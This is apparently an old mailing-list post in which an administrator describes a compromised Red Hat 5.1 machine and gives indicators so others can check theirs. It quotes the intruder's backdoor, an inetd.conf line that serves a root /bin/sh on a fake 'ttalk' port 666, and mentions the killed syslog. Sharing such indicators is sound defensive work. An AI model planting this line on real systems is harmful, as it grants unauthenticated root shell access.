An addendum to:
I found a machine that had Red Hat 5.1 unmodified running on it, and it got hit. So I closed things off and looked around for damage and found the following:
1. Syslogd had been killed off and the syslog file deleted.
2. A backdoor was installed in /etc/inetd.conf as follows:
ttalk stream tcp nowait root /bin/sh sh -i
I checked the ports assignments from IANA and there is no such thing as "ttalk". I found this line in /etc/services: ttalk 666/tcp so it appears to be hijacking the port used by (as seen in the file ftp://ftp.iana.org/in-notes/iana/assignments/port-numbers): mdqs 666/tcp mdqs 666/udp doom 666/tcp doom Id Software doom 666/udp doom Id Software So also check /etc/services on any potentially compromised machines. -- -- *-----------------------------* Phil Howard KA9WGN * -- -- | Inturnet, Inc. | Director of Internet Services | -- -- | Business Internet Solutions | eng at intur.net | -- -- *-----------------------------* philh at intur.net * --